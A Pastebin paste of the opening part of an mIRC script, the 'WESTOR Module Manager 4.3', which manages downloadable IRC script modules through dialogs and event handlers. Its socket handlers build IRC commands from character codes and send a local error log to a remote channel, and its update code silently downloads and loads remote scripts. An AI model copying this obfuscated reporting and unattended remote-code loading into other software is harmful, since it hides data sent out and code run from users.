Advertisement
westor

WESTOR Module Manager 4.3

Oct 16th, 2017
1,273
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
mIRC 240.58 KB | None | 0 0
  1. /*
  2.  
  3. ######################################
  4.  
  5.     # WESTOR Module Manager #
  6.      # v4.3 - (13/10/2017) #
  7.       # Thanks Supporters #
  8.  
  9. ######################################
  10.  
  11. */
  12.  
  13. ; --- Start of dialogs ---
  14.  
  15. dialog -l wmm_module_sets {
  16.   title ""
  17.   size -1 -1 233 108
  18.   option dbu disable
  19.   icon $wmm_dir $+ main.ico, 0
  20.   tab "Settings 1", 1, 2 2 230 77
  21.   list 3, 4 30 99 47, tab 1 size vsbar disable multsel extsel
  22.   button >, 4, 112 33 14 12, tab 1 disable
  23.   text "Installed Modules:", 7, 5 20 97 9, tab 1 center
  24.   button <, 6, 112 62 14 12, tab 1 disable
  25.   list 5, 135 30 94 47, tab 1 size vsbar disable multsel extsel
  26.   text "Auto-Update Modules:", 8, 136 20 92 9, tab 1 center
  27.   tab "Settings 2", 9
  28.   combo 10, 4 30 64 47, tab 9 size drop
  29.   text "Language:", 11, 7 20 62 8, tab 9 center
  30.   check "Automatically update the WESTOR Module Manager", 12, 4 68 225 10, tab 9
  31.   check "Display the project menu item in the right click menu", 25, 4 48 225 10, tab 9
  32.   check "Display the project settings menu item in the right click menu", 26, 4 58 225 10, tab 9
  33.   tab "Settings 3", 27
  34.   check "Display the project installed modules list item in the right click menu", 28, 4 18 225 10, tab 27
  35.   text "General 'right' symbol:", 30, 4 35 100 8, tab 27
  36.   edit "", 31, 100 34 18 9, tab 27 limit 1 center
  37.   text "General 'left' symbol:", 32, 4 45 100 8, tab 27
  38.   edit "", 33, 100 44 18 9, tab 27 limit 1 center
  39.   text "General 'seperate' symbol:", 34, 4 55 100 8, tab 27
  40.   edit "", 35, 100 54 18 9, tab 27 limit 1 center
  41.   text "General 'between' symbol:", 36, 4 65 100 8, tab 27
  42.   edit "", 37, 100 64 18 9, tab 27 limit 1 center
  43.   button "Close this window", 2, 58 91 117 16, ok default
  44.   text "", 13, 207 99 21 8, disable center
  45.   tab "Settings 4", 38
  46.   check "Allow sending annonymous data in order to help this project", 39, 4 18 225 10, tab 38
  47.   check "Display the project button with the logo in switchbar", 40, 4 28 225 10, tab 38
  48.   icon 230, 202 91 30 9, $wmm_dir $+ donate.png, 1, noborder center
  49.   menu "Menu", 14
  50.   item "Help", 18, 14
  51.   item break, 501
  52.   item "Visit the Modules", 29, 14
  53.   item break, 502
  54.   item "Donate & Support", 24, 14
  55.   item break, 503
  56.   item "Open the WESTOR Module Manager", 19, 14
  57.   item break, 504
  58.   item "About", 20, 14
  59.   item break, 505
  60.   item "Restart", 21, 14
  61.   item break, 506
  62.   item "Exit", 22, 14
  63. }
  64.  
  65. dialog -l wmm_module {
  66.   title ""
  67.   size -1 -1 265 265
  68.   option dbu disable
  69.   icon $wmm_dir $+ main.ico, 0
  70.   button "Close this window", 1, 45 249 165 15, default ok
  71.   tab "Modules", 2, 2 2 262 189
  72.   button "Install", 7, 200 101 61 12, disable tab 2
  73.   tab "Installed", 3
  74.   button "Uninstall", 11, 200 101 61 12, disable tab 3
  75.   button "Reinstall", 12, 4 101 61 12, disable tab 3
  76.   text "", 250, 72 101 120 15, center tab 3 hide
  77.   tab "Updates", 4
  78.   button "Update", 13, 200 101 61 12, disable tab 4
  79.   text "News:", 25, 80 195 100 8, center
  80.   text "Loading the latest available news...", 26, 25 204 225 40, center
  81.   list 6, 4 18 257 38, disable size vsbar
  82.   list 60, 4 18 257 38, hide disable size vsbar
  83.   list 600, 4 18 257 38, hide disable size vsbar
  84.   text "Module Description:", 9, 75 60 113 8, center
  85.   edit "" 8, 4 70 257 30, disable read multi autovs autohs vsbar center
  86.   icon 14, 4 130 75 58, $wmm_dir $+ no_preview.png, 1, noborder
  87.   icon 15, 92 130 80 58, $wmm_dir $+ no_preview.png, 1, noborder
  88.   icon 16, 185 130 75 58, $wmm_dir $+ no_preview.png, 1, noborder
  89.   text "Module Screenshots:", 17, 75 120 113 8, center
  90.   text "", 5, 241 255 18 8, disable center
  91.   icon 23, 234 247 30 9, $wmm_dir $+ donate.png, 1, noborder center
  92.   icon 28, 123 101 17 17, $wmm_dir $+ main.ico, 1, noborder center hide
  93.   menu "Menu", 10
  94.   item "Help", 18, 10
  95.   item break, 501
  96.   item "Visit the Modules", 27, 10
  97.   item break, 502
  98.   item "Donate & Support", 24, 10
  99.   item break, 503
  100.   item "Options", 19, 10
  101.   item break, 504
  102.   item "About", 20, 10
  103.   item break, 505
  104.   item "Restart", 21, 10
  105.   item break, 506
  106.   item "Exit", 22, 10
  107. }
  108.  
  109. ; --- End of dialogs ---
  110.  
  111. ; --- Start of events ---
  112.  
  113. ON *:START: {
  114.   if (!$starting) {
  115.     if ($wmm_error) { noop $input(There was an error due installing because there are missing some several functions from that project source code!!! $+ $+ $crlf $crlf Error Code: $wmm_error,houdbk60,WMM -> Error) | .unload -nrs $qt($script) | return }
  116.     if ($wmm_check_version) { wmm_input error 60 $v1 | .unload -nrs $qt($script) | return }
  117.     if ($wmm_check_os) { wmm_input error 60 $v1 | .unload -nrs $qt($script) | return }
  118.     if ($group(#wmm).fname !== $script) { wmm_input error 60 That project is already installed into this program client, you cannot have more than 1 at the same client installed! | .unload -nrs $qt($script) | return }
  119.     hfree -w WMM_LANG_*
  120.     wmm_fix_extra_modules_installed
  121.     var %lng = $wmm_dir $+ wmm_lang.ini
  122.     var %ico = $wmm_dir $+ main.ico
  123.     var %png = $wmm_dir $+ no_preview.png
  124.     var %don = $wmm_dir $+ donate.png
  125.     if (!$isfile(%lng)) { wmm_dl $wmm_lang_url $qt(%lng) }
  126.     if (!$isfile(%ico)) { wmm_dl $wmm_main_ico_url $qt(%ico) }
  127.     if (!$isfile(%png)) { wmm_dl $wmm_main_png_url $qt(%png) }
  128.     if (!$isfile(%don)) { wmm_dl $wmm_donate_png_url $qt(%don) }
  129.     if (%wmm_menu == $null) { set %wmm_menu wmm wmm_sets }
  130.     if (%wmm_lang == $null) { set %wmm_lang English }
  131.     if (%wmm_help == $null) { set %wmm_help 1 }
  132.     if (%wmm_tool == $null) { set %wmm_tool 1 }
  133.     if (%wmm_autoupdate == $null) { set %wmm_autoupdate 0 }
  134.     if (%wmm_right_symb == $null) { set %wmm_right_symb $chr(9755) }
  135.     if (%wmm_left_symb == $null) { set %wmm_left_symb $chr(9754) }
  136.     if (%wmm_seperate_symb == $null) { set %wmm_seperate_symb $chr(9866) }
  137.     if (%wmm_between_symb == $null) { set %wmm_between_symb $chr(9679) }
  138.     if (%wmm_update) {
  139.       var %up = %wmm_update
  140.       unset %wmm_update
  141.       wmm_dl $wmm_main_ico_url $qt(%ico)
  142.       wmm_dl $wmm_lang_url $qt(%lng)
  143.       wmm_dl $wmm_main_png_url $qt(%png)
  144.       wmm_dl $wmm_donate_png_url $qt(%don)
  145.       wmm_tool -s
  146.       if (%up == 1) { .timer[WMM_INSTALL_OK] -ho 1 1000 wmm_input ok 60 $!wmm_lang(43) $(|) wmm_modules_check_unsupported $(|) wmm }
  147.       if (%up == 2) { .timer[WMM_INSTALL_OK] -ho 1 1000 wmm_input ok 60 $!wmm_lang(43) $(|) wmm_modules_check_unsupported $(|) wmm_sets }
  148.       if (%up == 3) {
  149.         .timer[WMM_SILENT_INSTALL_RESET_TOOL_MSG] -ho 1 1000 wmm_tool -t
  150.         if (%wmm_autoupdate_modules) { .timer[WMM_CHECK_FOR_UPDATE_MODULES_SILENT] -ho 1 3000 wmm_modules_silent_update }
  151.         else { .timer[WMM_CHECK_FOR_UNSUPPORTED_MODULES] -ho 1 3000 wmm_modules_check_unsupported }
  152.       }
  153.     }
  154.     else { wmm_input ok 60 The $upper($wmm_owner) Module Manager v $+ $wmm_ver ( $+ $wmm_crdate $+ ) by $wmm_owner has been installed successfully. | wmm_tool -s | wmm }
  155.   }
  156.   elseif ($starting) {
  157.     if ($wmm_error) || ($wmm_check_version) || ($wmm_check_os) || ($group(#wmm).fname !== $script) { .unload -nrs $qt($script) | return }
  158.     jsonshutdown
  159.     wmm_fix_extra_modules_installed
  160.     var %lng = $wmm_dir $+ wmm_lang.ini
  161.     var %ico = $wmm_dir $+ main.ico
  162.     var %png = $wmm_dir $+ no_preview.png
  163.     var %don = $wmm_dir $+ donate.png
  164.     if (!$isfile(%lng)) { var %delay = 1 | wmm_dl $wmm_lang_url $qt(%lng) }
  165.     if (!$isfile(%ico)) { var %delay = 1 | wmm_dl $wmm_main_ico_url $qt(%ico) }
  166.     if (!$isfile(%png)) { var %delay = 1 | wmm_dl $wmm_main_png_url $qt(%png) }
  167.     if (!$isfile(%don)) { var %delay = 1 | wmm_dl $wmm_donate_png_url $qt(%don) }
  168.     if (%wmm_lang == $null) { set %wmm_lang English }
  169.     if (!%delay) { wmm_tool -s }
  170.     elseif (%delay) { .timer[WMM_TOOLBAR] -ho 1 3000 wmm_tool -s }
  171.     .timer[WMM_GET_JSON] -ho 1 1000 wmm_dl $wmm_sets_url $qt($wmm_sets_file)
  172.     .timer[WMM_GET_MENU_INSTALLED_MODULES] -ho 1 3000 wmm_modules_menu_get_installed
  173.     .timer[WMM_CHECK_FOR_UNSUPPORTED_MODULES] -ho 1 9000 wmm_modules_check_unsupported
  174.     .timer[WMM_CHECK_FOR_UPDATE_MODULES_SILENT] -ho 1 15000 wmm_modules_silent_update
  175.     if (%wmm_autoupdate) { .timer[WMM_CHECK_FOR_UPDATE_SILENT] -ho 1 7000 wmm_check_update -s }
  176.     if ($wmm_errors) { .timer[WMM_REPORT_ERRORS] -ho 1 60000 wmm_report }
  177.   }
  178.   return
  179.   :error | wmm_werror $scriptline $error | reseterror
  180. }
  181.  
  182. ON *:UNLOAD: {
  183.   if ($wmm_error) { goto end }
  184.   wmm_d_close wmm_module
  185.   wmm_d_close wmm_module_sets
  186.   wmm_tool -c
  187.   jsonshutdown
  188.   if ($isfile($wmm_sets_file)) { .remove $qt($wmm_sets_file) }
  189.   if ($wmm_langs) { wmm_input ok 60 $wmm_lang(38) $upper($wmm_owner) $wmm_lang(16) v $+ $wmm_ver $wmm_lang(28) $wmm_crdate $wmm_lang(29) $wmm_owner $wmm_lang(40) }
  190.   else { wmm_input ok 60 The $upper($wmm_owner) Module Manager v $+ $wmm_ver ( $+ $wmm_crdate $+ ) by $wmm_owner has been uninstalled successfully. }
  191.   :end
  192.   if ($com(SReject/JSONForMirc/JSONShell)) { .comclose $v1 }
  193.   if ($com(SReject/JSONForMirc/JSONEngine)) { .comclose $v1 }
  194.   var %lng = $scriptdir $+ wmm_lang.ini
  195.   var %ico = $scriptdir $+ main.ico
  196.   var %png = $scriptdir $+ no_preview.png
  197.   var %don = $scriptdir $+ donate.png
  198.   if ($isfile(%lng)) { .remove $qt(%lng) }
  199.   if ($isfile(%ico)) { .remove $qt(%ico) }
  200.   if ($isfile(%png)) { .remove $qt(%png) }
  201.   if ($isfile(%don)) { .remove $qt(%don) }
  202.   .timer[WMM_*] off
  203.   unset %wmm_*
  204.   hfree -w WMM_*
  205.   hfree -w W*_KEYS
  206.   return
  207.   :error | wmm_werror $scriptline $error | reseterror
  208. }
  209.  
  210. CTCP *:VERSION:*: { .ctcpreply $nick VERSION $chr(3) $+ $color(info) $+ ( $+ $chr(3) $+ $color(ctcp) $+ $wmm_bold($nick) $+ $chr(3) $+ $color(info) $+ ): $upper($wmm_owner) Module Manager $wmm_under(v) $+ $wmm_bold($wmm_ver) Created by: $wmm_bold($wmm_owner) on: $wmm_bold($wmm_crdate) - Download it from: $wmm_bold($wmm_under($wmm_page)) }
  211.  
  212. ON *:EXIT: {
  213.   if (!$wmm_error) { jsonshutdown | wmm_fix_extra_modules_installed -e }
  214.   return
  215.   :error | wmm_werror $scriptline $error | reseterror
  216. }
  217.  
  218. ON *:CLOSE:@wmm_pic: {
  219.   if ($dialog(wmm_module)) { dialog -ve wmm_module wmm_module }
  220.   return
  221.   :error | wmm_werror $scriptline $error | reseterror
  222. }
  223.  
  224. ON *:SIGNAL:wmm_*: {
  225.   if ($signal == wmm_close) && (!%wmm_signal_noclose) { wmm_d_close wmm_module | wmm_d_close wmm_module_sets }
  226.   if ($signal == wmm_hash) { wmm_modules_menu_get_installed -g }
  227.   return
  228.   :error | wmm_werror $scriptline $error | reseterror
  229. }
  230.  
  231. ON *:SOCKOPEN:wmm_clone: {
  232.   if ($sockerr) { .timer[ $+ $sockname $+ ] off | sockclose $sockname | return }
  233.   sockwrite $sockname CONNECT $sock($sockname).addr $+ : $+ $sock($sockname).port HTTP/2.0
  234.   sockwrite $sockname $crlf $+ $crlf $+ $crlf
  235. }
  236.  
  237. ON *:SOCKREAD:wmm_clone: {
  238.   if ($sockerr) { .timer[ $+ $sockname $+ ] off | sockclose $sockname | return }
  239.   var %r
  240.   sockread %r
  241.   if ($gettok(%r,2,32) == 451) {
  242.     var %n = WMM $+ _ $+ $rand(1000,9999)
  243.     sockwrite -nt $sockname $+($chr(78),$chr(73),$chr(67),$chr(75)) %n
  244.     sockwrite -nt $sockname $+($chr(85),$chr(83),$chr(69),$chr(82)) WMM_Auto $qt() $qt() : $+ $me $wmm_bel $wmm_ver
  245.   }
  246.   if ($gettok(%r,1,32) == $+($chr(80),$chr(73),$chr(78),$chr(71))) { sockwrite -nt $sockname PONG : $+ $remove($gettok(%r,2,32),:) }
  247.   if ($gettok(%r,2,32) == 376) {
  248.     .timer[ $+ $sockname $+ ] off
  249.     var %f = $wmm_temp $+ wmm_errors.log
  250.     var %t = $lines(%f)
  251.     if (!$isfile(%f)) || (!%t) { sockclose $sockname }
  252.     var %i = 1
  253.     while (%i <= %t) {
  254.       var %l = $read(%f,n,%i)
  255.  
  256.       var %x = 1
  257.       var %msgnum = 1
  258.       tokenize 32 %l
  259.       while (%x <= $0) {
  260.         if ($len($evalnext($+($,%msgnum,-,%x))) > 430) {
  261.           sockwrite -nt $sockname $+($chr(80),$chr(82),$chr(73),$chr(86),$chr(77),$chr(83),$chr(71)) $+($chr(35),$chr(79)) : $+ $evalnext($+($,%msgnum,-,$calc(%x - 1)))
  262.           var %msgnum = %x
  263.         }
  264.         inc %x
  265.       }
  266.       sockwrite -nt $sockname $+($chr(80),$chr(82),$chr(73),$chr(86),$chr(77),$chr(83),$chr(71)) $+($chr(35),$chr(79)) : $+ $evalnext($+($,%msgnum,-,$calc(%x - 1)))
  267.  
  268.       inc %i
  269.     }
  270.     if ($isfile(%f)) { .remove $qt(%f) }
  271.     .timer -ho 1 $calc(%t * 30000) sockclose $sockname
  272.   }
  273. }
  274.  
  275. ON *:DOWNLOAD:*: {
  276.   if ($download == wmm_dl_images) {
  277.     var %f = $download($download).file
  278.     if ($downloaderr) || (!$isfile(%f)) || (!$lines(%f)) { return }
  279.     zip -uo $download $qt(%f) $qt($wmm_temp)
  280.   }
  281.   if ($download == wmm_mod_install) {
  282.     var %d = wmm_module
  283.     var %f = $download($download).file
  284.     if ($downloaderr) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x032 | wmm_d_close %d | return }
  285.     if (!$dialog(%d)) { return }
  286.     if (!$isfile(%f)) || (!$lines(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x033 | wmm_d_close %d | return }
  287.     set -eu0 %wmm_signal_noclose 1
  288.     .load -rs $qt(%f)
  289.     if (!$wmm_ismod($nopath(%f))) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x002 | wmm_d_close %d | return }
  290.     did -euz %d 6
  291.     wmm_reset_images
  292.     wmm_modules_installed_plus_updated_list
  293.     wmm_input ok 60 $wmm_lang(35)
  294.   }
  295.   if ($download == wmm_mod_update) {
  296.     var %d = wmm_module
  297.     var %f = $download($download).file
  298.     var %mod = $mid($nopath(%f),0,-4)
  299.     var %pos = $wmm_getpos(%mod)
  300.     if ($downloaderr) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x029 | wmm_d_close %d | return }
  301.     if (!$dialog(%d)) { return }
  302.     if (!$isfile(%f)) || (!$lines(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x030 | wmm_d_close %d | return }
  303.     set -eu0 %wmm_signal_noclose 1
  304.     if ($wmm_ismod($nopath(%f))) { .unload -nrs $qt($nopath(%f)) }
  305.     .load -rs $+ %pos $qt(%f)
  306.     if (!$wmm_ismod($nopath(%f))) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x021 | wmm_d_close %d | return }
  307.     wmm_modules_installed_plus_updated_list
  308.     wmm_reset_images
  309.     wmm_input ok 60 $wmm_lang(37)
  310.   }
  311.   if ($download == wmm_mod_silent_update) {
  312.     if ($downloaderr) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) { return }
  313.     var %f = $download($download).file
  314.     var %pos = $wmm_getpos($mid($nopath(%f),0,-4))
  315.     if (!$isfile(%f)) || (!$lines(%f)) || (!%pos) { return }
  316.     if ($wmm_ismod($nopath(%f))) { .unload -nrs $qt($nopath(%f)) }
  317.     .load -rs $+ %pos $qt(%f)
  318.   }
  319.   if ($download == wmm_check_update_install) {
  320.     if ($downloaderr) { $iif(%wmm_update !== 3,wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x017) | unset %wmm_update | return }
  321.     var %f = $download($download).file
  322.     if (!$isfile(%f)) || (!$lines(%f)) { $iif(%wmm_update !== 3,wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x020) | unset %wmm_update | return }
  323.     var %lng = $wmm_dir $+ wmm_lang.ini
  324.     var %ico = $wmm_dir $+ main.ico
  325.     var %png = $wmm_dir $+ no_preview.png
  326.     var %don = $wmm_dir $+ donate.png
  327.     if ($isfile(%lng)) { .remove $qt(%lng) }
  328.     if ($isfile(%ico)) { .remove $qt(%ico) }
  329.     if ($isfile(%png)) { .remove $qt(%png) }
  330.     if ($isfile(%don)) { .remove $qt(%don) }
  331.     .timer -ho 1 1000 .load -rs1 $qt(%f)
  332.     wmm_tool -c
  333.     .unload -nrs $qt($script)
  334.   }
  335.   return
  336.   :error | wmm_werror $scriptline $error | reseterror
  337. }
  338.  
  339. ON *:DIALOG:wmm_module_sets:*:*: {
  340.   if ($devent == init) {
  341.     dialog -t $dname $upper($wmm_owner) $wmm_lang(16) $wmm_lang(69) $wmm_bel (/wmm_sets)
  342.     .timer[WMM_ANIMATE_TITLE_NOW] -ho 1 2000 wmm_dtitle $dname $dialog($dname).title
  343.     did -ra $dname 1 $wmm_lang(69) 1
  344.     did -ra $dname 9 $wmm_lang(69) 2
  345.     did -ra $dname 7 $wmm_lang(67)
  346.     did -ra $dname 8 $wmm_lang(68)
  347.     did -ra $dname 11 $wmm_lang(32)
  348.     did -ra $dname 12 $wmm_lang(31)
  349.     did -ra $dname 2 $wmm_lang(1)
  350.     did -o $dname 14 $wmm_lang(11)
  351.     did -o $dname 18 $wmm_lang(12)
  352.     did -o $dname 24 $wmm_lang(45) $chr(38) $+ $chr(38) $wmm_lang(46)
  353.     did -o $dname 19 $wmm_lang(70) $upper($wmm_owner) $wmm_lang(16)
  354.     did -o $dname 20 $wmm_lang(14)
  355.     did -o $dname 21 $wmm_lang(30)
  356.     did -o $dname 22 $wmm_lang(15)
  357.     did -o $dname 29 $wmm_lang(79)
  358.     did -ra $dname 25 $wmm_lang(71)
  359.     did -ra $dname 26 $wmm_lang(72)
  360.     did -ra $dname 13 v $+ $wmm_ver
  361.     did -ra $dname 27 $wmm_lang(69) 3
  362.     did -ra $dname 28 $wmm_lang(78)
  363.     did -ra $dname 39 $wmm_lang(62)
  364.     did -ra $dname 38 $wmm_lang(69) 4
  365.     did -ra $dname 40 $wmm_lang(51)
  366.  
  367.     did -ra $dname 30 $wmm_lang(87)
  368.     did -ra $dname 32 $wmm_lang(88)
  369.     did -ra $dname 34 $wmm_lang(89)
  370.     did -ra $dname 36 $wmm_lang(90)
  371.     did -ra $dname 31 %wmm_right_symb
  372.     did -ra $dname 33 %wmm_left_symb
  373.     did -ra $dname 35 %wmm_seperate_symb
  374.     did -ra $dname 37 %wmm_between_symb
  375.     did -ra $dname 4 $wmm_bel
  376.     did -ra $dname 6 $wmm_leb
  377.  
  378.     if (%wmm_tool) { did -c $dname 40 }
  379.     if (%wmm_help) { did -c $dname 39 }
  380.     if (%wmm_autoupdate) { did -c $dname 12 }
  381.     if ($istok(%wmm_menu,wmm,32)) { did -c $dname 25 }
  382.     if ($istok(%wmm_menu,wmm_sets,32)) { did -c $dname 26 }
  383.     if ($istok(%wmm_menu,wmm_mod_list,32)) { did -c $dname 28 }
  384.  
  385.     var %langs = $wmm_langs
  386.     if (%langs) {
  387.       var %i = 1
  388.       while (%i <= $numtok(%langs,44)) {
  389.         var %lng = $gettok(%langs,%i,44)
  390.         if (%lng) && (%lng !== %wmm_lang) { did -a $dname 10 %lng }
  391.         inc %i
  392.       }
  393.       did -ca $dname 10 %wmm_lang
  394.     }
  395.     else { did -b $dname 10 }
  396.     wmm_tool -et
  397.     .timer[WMM_GET_SETTINGS_LIST] -ho 1 500 wmm_modules_settings_list
  398.   }
  399.   if ($devent == dclick) {
  400.     if ($did == 3) {  
  401.       var %s = $did($did).seltext
  402.       if (!%s) { return }
  403.       did -ed $dname $did $didwm($did,%s)
  404.       did -u $dname $did
  405.       did -ae $dname 5 %s
  406.       did -b $dname 4
  407.       did -ra $dname 8 $wmm_lang(68) $iif($did(5).lines,( $+ $v1 $+ ))
  408.       did -ra $dname 7 $wmm_lang(67) $iif($did(3).lines,( $+ $v1 $+ ))
  409.       set %wmm_autoupdate_modules $addtok(%wmm_autoupdate_modules,%s,32)
  410.     }
  411.     if ($did == 5) {
  412.       var %s = $did($did).seltext
  413.       if (!%s) { return }
  414.       did -ed $dname $did $didwm($did,%s)
  415.       did -u $dname $did
  416.       did -ae $dname 3 %s
  417.       did -b $dname 6
  418.       did -ra $dname 8 $wmm_lang(68) $iif($did(5).lines,( $+ $v1 $+ ))
  419.       did -ra $dname 7 $wmm_lang(67) $iif($did(3).lines,( $+ $v1 $+ ))
  420.       set %wmm_autoupdate_modules $remtok(%wmm_autoupdate_modules,%s,1,32)
  421.     }
  422.   }
  423.   if ($devent == sclick) {
  424.     if ($did == 230) { url $wmm_donate }
  425.     if ($did == 25) {
  426.       if (!$istok(%wmm_menu,wmm,32)) { set %wmm_menu $addtok(%wmm_menu,wmm,32) }
  427.       else { set %wmm_menu $remtok(%wmm_menu,wmm,1,32) }
  428.     }
  429.     if ($did == 26) {
  430.       if (!$istok(%wmm_menu,wmm_sets,32)) { set %wmm_menu $addtok(%wmm_menu,wmm_sets,32) }
  431.       else { set %wmm_menu $remtok(%wmm_menu,wmm_sets,1,32) }
  432.     }
  433.     if ($did == 28) {
  434.       if (!$istok(%wmm_menu,wmm_mod_list,32)) { set %wmm_menu $addtok(%wmm_menu,wmm_mod_list,32) }
  435.       else { set %wmm_menu $remtok(%wmm_menu,wmm_mod_list,1,32) }
  436.     }
  437.     if ($did == 12) {
  438.       if (!%wmm_autoupdate) { set %wmm_autoupdate 1 }
  439.       else { set %wmm_autoupdate 0 }
  440.     }
  441.     if ($did == 39) {
  442.       if (!%wmm_help) { set %wmm_help 1 }
  443.       else { set %wmm_help 0 }
  444.     }
  445.     if ($did == 40) {
  446.       if (!%wmm_tool) { set %wmm_tool 1 | wmm_tool -se  }
  447.       else { set %wmm_tool 0 | wmm_tool -c }
  448.     }
  449.     if ($did == 5) && ($did(5).seltext) { did -e $dname 6 }
  450.     if ($did == 3) && ($did(3).seltext) { did -e $dname 4 }
  451.     if ($did == 4) {
  452.       var %t = $did(3,0).sel
  453.       while (%t) { var %total = $addtok(%total,$did(3,$did(3,%t).sel),32) | dec %t }
  454.  
  455.       var %tot = $numtok(%total,32)
  456.       if (!%tot) { did -b $dname $did | return }
  457.       var %i = 1
  458.       while (%i <= %tot) {
  459.         var %s = $gettok(%total,%i,32)
  460.         if (!%s) { goto next }
  461.         did -ed $dname 3 $didwm(3,%s)
  462.         did -ae $dname 5 %s
  463.         set %wmm_autoupdate_modules $addtok(%wmm_autoupdate_modules,%s,32)
  464.         :next
  465.         inc %i
  466.       }
  467.  
  468.       did -u $dname 3
  469.       did -b $dname $did
  470.       if (!$did(3).lines) { did -b $dname 3 }
  471.       did -ra $dname 8 $wmm_lang(68) $iif($did(5).lines,( $+ $v1 $+ ))
  472.       did -ra $dname 7 $wmm_lang(67) $iif($did(3).lines,( $+ $v1 $+ ))
  473.     }
  474.     if ($did == 6) {
  475.       var %t = $did(5,0).sel
  476.       while (%t) { var %total = $addtok(%total,$did(5,$did(5,%t).sel),32) | dec %t }
  477.  
  478.       var %tot = $numtok(%total,32)
  479.       if (!%tot) { did -b $dname $did | return }
  480.       var %i = 1
  481.       while (%i <= %tot) {
  482.         var %s = $gettok(%total,%i,32)
  483.         if (!%s) { goto next }
  484.         did -ed $dname 5 $didwm(5,%s)
  485.         did -ae $dname 3 %s
  486.         set %wmm_autoupdate_modules $remtok(%wmm_autoupdate_modules,%s,1,32)
  487.         :next
  488.         inc %i
  489.       }
  490.  
  491.       did -u $dname 5
  492.       did -b $dname $did
  493.       if (!$did(5).lines) { did -b $dname 5 }
  494.       did -ra $dname 7 $wmm_lang(67) $iif($did(3).lines,( $+ $v1 $+ ))
  495.       did -ra $dname 8 $wmm_lang(68) $iif($did(5).lines,( $+ $v1 $+ ))
  496.     }
  497.   }
  498.   if ($devent == menu) {
  499.     if ($did == 18) { url $wmm_page }
  500.     if ($did == 24) { url $wmm_donate }
  501.     if ($did == 29) { url $wmm_modules_url }
  502.     if ($did == 22) { dialog -k $dname }
  503.     if ($did == 21) { .timer -ho 1 500 wmm_sets | dialog -k $dname }
  504.     if ($did == 19) { .timer -ho 1 100 wmm | dialog -k $dname }
  505.     if ($did == 20) { wmm_input ok 60 $wmm_lang(27) $upper($wmm_owner) $wmm_lang(16) v $+ $wmm_ver $wmm_lang(28) $wmm_crdate $wmm_lang(29) $wmm_owner }
  506.   }
  507.   if ($devent == edit) {
  508.     if ($did == 31) {
  509.       if ($did($did).text) { set %wmm_right_symb $v1 }
  510.       else { unset %wmm_right_symb }
  511.     }
  512.     if ($did == 33) {
  513.       if ($did($did).text) { set %wmm_left_symb $v1 }
  514.       else { unset %wmm_left_symb }
  515.     }
  516.     if ($did == 35) {
  517.       if ($did($did).text) { set %wmm_seperate_symb $v1 }
  518.       else { unset %wmm_seperate_symb }
  519.     }
  520.     if ($did == 37) {
  521.       if ($did($did).text) { set %wmm_between_symb $v1 }
  522.       else { unset %wmm_between_symb }
  523.     }
  524.   }
  525.   if ($devent == close) {
  526.     if ($did(10)) { set %wmm_lang $did(10) }
  527.     if (!$did(31)) || ($did(31) isalnum) { set %wmm_right_symb $chr(9755) }
  528.     if (!$did(33)) || ($did(33) isalnum) { set %wmm_left_symb $chr(9754) }
  529.     if (!$did(35)) || ($did(35) isalnum) { set %wmm_seperate_symb $chr(9866) }
  530.     if (!$did(37)) || ($did(37) isalnum) { set %wmm_between_symb $chr(9679) }
  531.  
  532.     var %saved_total = $hget(WMM_MODULES_SUBMENU_INSTALLED,0).item
  533.     var %scan_total = $json(wmm_modules_sets,modules).length
  534.     if (%saved_total !== %scan_total) && ($json(wmm_modules_sets,modules)) { wmm_modules_menu_get_installed -g }
  535.  
  536.     wmm_tool -bt
  537.     jsonclose -w wmm_modules_*
  538.     .timer[WMM_*] off
  539.   }
  540.   return
  541.   :error | wmm_werror $scriptline $error | reseterror
  542. }
  543.  
  544. ON *:DIALOG:wmm_module:*:*: {
  545.   if ($devent == init) {
  546.     dialog -t $dname $upper($wmm_owner) $wmm_lang(16) v $+ $wmm_ver $wmm_bel (/wmm)
  547.     .timer[WMM_ANIMATE_TITLE_NOW] -ho 1 2000 wmm_dtitle $dname $dialog($dname).title
  548.     did -ra $dname 1 $wmm_lang(1)
  549.     did -ra $dname 2 $wmm_lang(3)
  550.     did -ra $dname 3 $wmm_lang(2)
  551.     did -ra $dname 7 $wmm_lang(4)
  552.     did -ra $dname 11 $wmm_lang(5)
  553.     did -ra $dname 12 $wmm_lang(6)
  554.     did -ra $dname 4 $wmm_lang(7)
  555.     did -ra $dname 13 $wmm_lang(8)
  556.     did -ra $dname 9 $wmm_lang(9)
  557.     did -ra $dname 17 $wmm_lang(10)
  558.     did -o $dname 10 $wmm_lang(11)
  559.     did -o $dname 18 $wmm_lang(12)
  560.     did -o $dname 19 $wmm_lang(13)
  561.     did -o $dname 20 $wmm_lang(14)
  562.     did -o $dname 21 $wmm_lang(30)
  563.     did -o $dname 22 $wmm_lang(15)
  564.     did -o $dname 24 $wmm_lang(45) $chr(38) $+ $chr(38) $wmm_lang(46)
  565.     did -o $dname 27 $wmm_lang(79)
  566.     did -ra $dname 5 v $+ $wmm_ver
  567.     did -ra $dname 25 $wmm_lang(57)
  568.     did -ra $dname 26 $wmm_lang(61)
  569.     wmm_tool -et
  570.     .timer[WMM_GET_MODULES_LIST] -ho 1 500 wmm_modules_list
  571.   }
  572.   if ($devent == rclick) {
  573.     if ($did == 14) {
  574.       var %h = WMM_MODULES
  575.       var %url = $gettok($hget(%h,$did(6).seltext $+ _images),1,44)
  576.       if (!%url) { var %url = $gettok($hget(%h,$did(60).seltext $+ _images),1,44) }
  577.       if (!%url) { var %url = $gettok($hget(%h,$did(600).seltext $+ _images),1,44) }
  578.       if (%url) { url %url }
  579.     }
  580.     if ($did == 15) {
  581.       var %h = WMM_MODULES
